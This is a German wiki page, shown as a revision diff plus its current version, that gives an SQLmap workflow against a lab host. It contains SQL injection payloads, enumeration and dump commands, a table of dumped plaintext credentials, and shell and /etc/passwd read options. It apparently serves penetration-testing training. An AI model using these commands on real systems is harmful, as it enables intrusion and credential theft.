SQLmap Workflow: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| (3 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt) | |||
| Zeile 19: | Zeile 19: | ||
! Parameter !! Technik !! Beschreibung !! Beispiel-Payload | ! Parameter !! Technik !! Beschreibung !! Beispiel-Payload | ||
|- | |- | ||
| username (POST) || Boolean-based blind || Antwort ändert sich abhängig von TRUE/FALSE || | | username (POST) || Boolean-based blind || Antwort ändert sich abhängig von TRUE/FALSE || username=test' RLIKE (SELECT (CASE WHEN (1=1) THEN 0x74657374 ELSE 0x28 END))-- | ||
|- | |- | ||
| username (POST) || Error-based || Erzwingt DB-Fehler und leakt Infos || | | username (POST) || Error-based || Erzwingt DB-Fehler und leakt Infos || username=test' AND (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.plugins GROUP BY x) | ||
|- | |- | ||
| username (POST) || Time-based blind || Antwortzeit verzögert durch SLEEP() || | | username (POST) || Time-based blind || Antwortzeit verzögert durch SLEEP() || username=test' AND (SELECT SLEEP(5))-- | ||
|} | |} | ||
| Zeile 32: | Zeile 32: | ||
== Datenbanken auflisten == | == Datenbanken auflisten == | ||
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --dbs''' | * '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --dbs''' | ||
* Erkenntnis: | * Erkenntnis: Es wurden zwei Datenbanken gefunden: '''information_schema''' und '''tuxmen'''. | ||
* Bewertung: '''information_schema''' ist eine Systemdatenbank. Fokus liegt auf '''tuxmen'''. | |||
== Tabellen in der Datenbank 'tuxmen' auflisten == | |||
* | * '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen --tables''' | ||
=== Erkenntnisblock === | |||
* | <pre> | ||
* Schlussfolgerung: | Database: tuxmen | ||
[1 table] | |||
+-------------+ | |||
| mitarbeiter | | |||
+-------------+ | |||
</pre> | |||
* Erkenntnis: Die Datenbank '''tuxmen''' enthält die Tabelle '''mitarbeiter'''. | |||
* Schlussfolgerung: Diese Tabelle ist für die Exfiltration interessant und wird im nächsten Schritt weiter untersucht. | |||
== | == Spalten in der Tabelle 'mitarbeiter' auflisten == | ||
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D | * '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter --columns''' | ||
* Erkenntnis: | === Erkenntnisblock === | ||
<pre> | |||
Database: tuxmen | |||
Table: mitarbeiter | |||
[4 columns] | |||
+----------+--------------+ | |||
| Column | Type | | |||
+----------+--------------+ | |||
| fullname | varchar(128) | | |||
| id | int(11) | | |||
| password | varchar(128) | | |||
| username | varchar(64) | | |||
+----------+--------------+ | |||
</pre> | |||
* Erkenntnis: Die Tabelle '''mitarbeiter''' enthält die Spalten '''id''', '''username''', '''password''' und '''fullname'''. | |||
* Schlussfolgerung: Besonders interessant für die Exfiltration sind die Spalten '''username''' und '''password'''. | |||
== | == Daten exfiltrieren == | ||
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D | * '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter -C username,password --dump''' | ||
* Erkenntnis: | === Erkenntnisblock === | ||
<pre> | |||
Database: tuxmen | |||
Table: mitarbeiter | |||
[19 entries] | |||
+------------+-------------+ | |||
| username | password | | |||
+------------+-------------+ | |||
| hans | 1234 | | |||
| ingo | abc123 | | |||
| backupuser | B@ckup#2024 | | |||
| carla | dragon | | |||
| erwin | geheim | | |||
| petra | Hallo123 | | |||
| steffi | iloveyou | | |||
| intern | Int3rn! | | |||
| mario | letmein | | |||
| thomas | monkey | | |||
| quba | passw0rd | | |||
| julia | password1 | | |||
| alex | qwerty | | |||
| martina | Sommer2024! | | |||
| service01 | Srv!cePass | | |||
| sabine | sunshine | | |||
| sven | test123 | | |||
| webapp | Web@pp123 | | |||
| frank | welcome | | |||
+------------+-------------+ | |||
</pre> | |||
* Erkenntnis: Über die SQL-Injection konnten Benutzerkonten samt Klartext-Passwörtern aus der Tabelle '''tuxmen.mitarbeiter''' exfiltriert werden. | |||
* Schlussfolgerung: Es liegen kritische Anmeldeinformationen im Klartext in der Datenbank vor. Diese können für weitere Angriffe (z. B. Web-Login, SSH, Pivoting) genutzt werden. | |||
== | == Optionale Möglichkeiten == | ||
* '''--os-shell''' → Versuch, Betriebssystembefehle auszuführen | * '''--os-shell''' → Versuch, Betriebssystembefehle auszuführen | ||
* '''--file-read=/etc/passwd''' → Datei auf dem Server auslesen | * '''--file-read=/etc/passwd''' → Datei auf dem Server auslesen | ||
| Zeile 55: | Zeile 108: | ||
= Fazit = | = Fazit = | ||
SQLmap liefert einen strukturierten Weg: | SQLmap liefert einen strukturierten Weg: | ||
Von der Bestätigung der Schwachstelle über die | Von der Bestätigung der Schwachstelle über die Datenbankstruktur bis zur Exfiltration der Inhalte. | ||
Jeder Schritt bringt eine konkrete Erkenntnis und baut auf dem vorigen auf. | Jeder Schritt bringt eine konkrete Erkenntnis und baut auf dem vorigen auf. | ||
Aktuelle Version vom 15. September 2025, 17:43 Uhr
SQLmap Workflow
- Einleitung
SQLmap automatisiert die Ausnutzung von SQL-Injection-Schwachstellen. Der Ablauf erfolgt schrittweise: erst Bestätigung, dann systematische Informationsgewinnung.
Test auf Verwundbarkeit
- sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --batch
Erkenntnisblock
[13:13:17] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian web application technology: Apache 2.4.62 back-end DBMS: MySQL >= 5.0 (MariaDB fork)
Gefundene Verwundbarkeiten
| Parameter | Technik | Beschreibung | Beispiel-Payload |
|---|---|---|---|
| username (POST) | Boolean-based blind | Antwort ändert sich abhängig von TRUE/FALSE | username=test' RLIKE (SELECT (CASE WHEN (1=1) THEN 0x74657374 ELSE 0x28 END))-- |
| username (POST) | Error-based | Erzwingt DB-Fehler und leakt Infos | username=test' AND (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.plugins GROUP BY x) |
| username (POST) | Time-based blind | Antwortzeit verzögert durch SLEEP() | username=test' AND (SELECT SLEEP(5))-- |
Version und Banner auslesen
- sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --banner
- Erkenntnis: Exakte Version des Datenbanksystems wird angezeigt.
Datenbanken auflisten
- sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --dbs
- Erkenntnis: Es wurden zwei Datenbanken gefunden: information_schema und tuxmen.
- Bewertung: information_schema ist eine Systemdatenbank. Fokus liegt auf tuxmen.
Tabellen in der Datenbank 'tuxmen' auflisten
- sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen --tables
Erkenntnisblock
Database: tuxmen [1 table] +-------------+ | mitarbeiter | +-------------+
- Erkenntnis: Die Datenbank tuxmen enthält die Tabelle mitarbeiter.
- Schlussfolgerung: Diese Tabelle ist für die Exfiltration interessant und wird im nächsten Schritt weiter untersucht.
Spalten in der Tabelle 'mitarbeiter' auflisten
- sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter --columns
Erkenntnisblock
Database: tuxmen Table: mitarbeiter [4 columns] +----------+--------------+ | Column | Type | +----------+--------------+ | fullname | varchar(128) | | id | int(11) | | password | varchar(128) | | username | varchar(64) | +----------+--------------+
- Erkenntnis: Die Tabelle mitarbeiter enthält die Spalten id, username, password und fullname.
- Schlussfolgerung: Besonders interessant für die Exfiltration sind die Spalten username und password.
Daten exfiltrieren
- sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter -C username,password --dump
Erkenntnisblock
Database: tuxmen Table: mitarbeiter [19 entries] +------------+-------------+ | username | password | +------------+-------------+ | hans | 1234 | | ingo | abc123 | | backupuser | B@ckup#2024 | | carla | dragon | | erwin | geheim | | petra | Hallo123 | | steffi | iloveyou | | intern | Int3rn! | | mario | letmein | | thomas | monkey | | quba | passw0rd | | julia | password1 | | alex | qwerty | | martina | Sommer2024! | | service01 | Srv!cePass | | sabine | sunshine | | sven | test123 | | webapp | Web@pp123 | | frank | welcome | +------------+-------------+
- Erkenntnis: Über die SQL-Injection konnten Benutzerkonten samt Klartext-Passwörtern aus der Tabelle tuxmen.mitarbeiter exfiltriert werden.
- Schlussfolgerung: Es liegen kritische Anmeldeinformationen im Klartext in der Datenbank vor. Diese können für weitere Angriffe (z. B. Web-Login, SSH, Pivoting) genutzt werden.
Optionale Möglichkeiten
- --os-shell → Versuch, Betriebssystembefehle auszuführen
- --file-read=/etc/passwd → Datei auf dem Server auslesen
- Erkenntnis: Eskalation möglich, wenn DB-User ausreichende Rechte hat.
Fazit
SQLmap liefert einen strukturierten Weg: Von der Bestätigung der Schwachstelle über die Datenbankstruktur bis zur Exfiltration der Inhalte. Jeder Schritt bringt eine konkrete Erkenntnis und baut auf dem vorigen auf.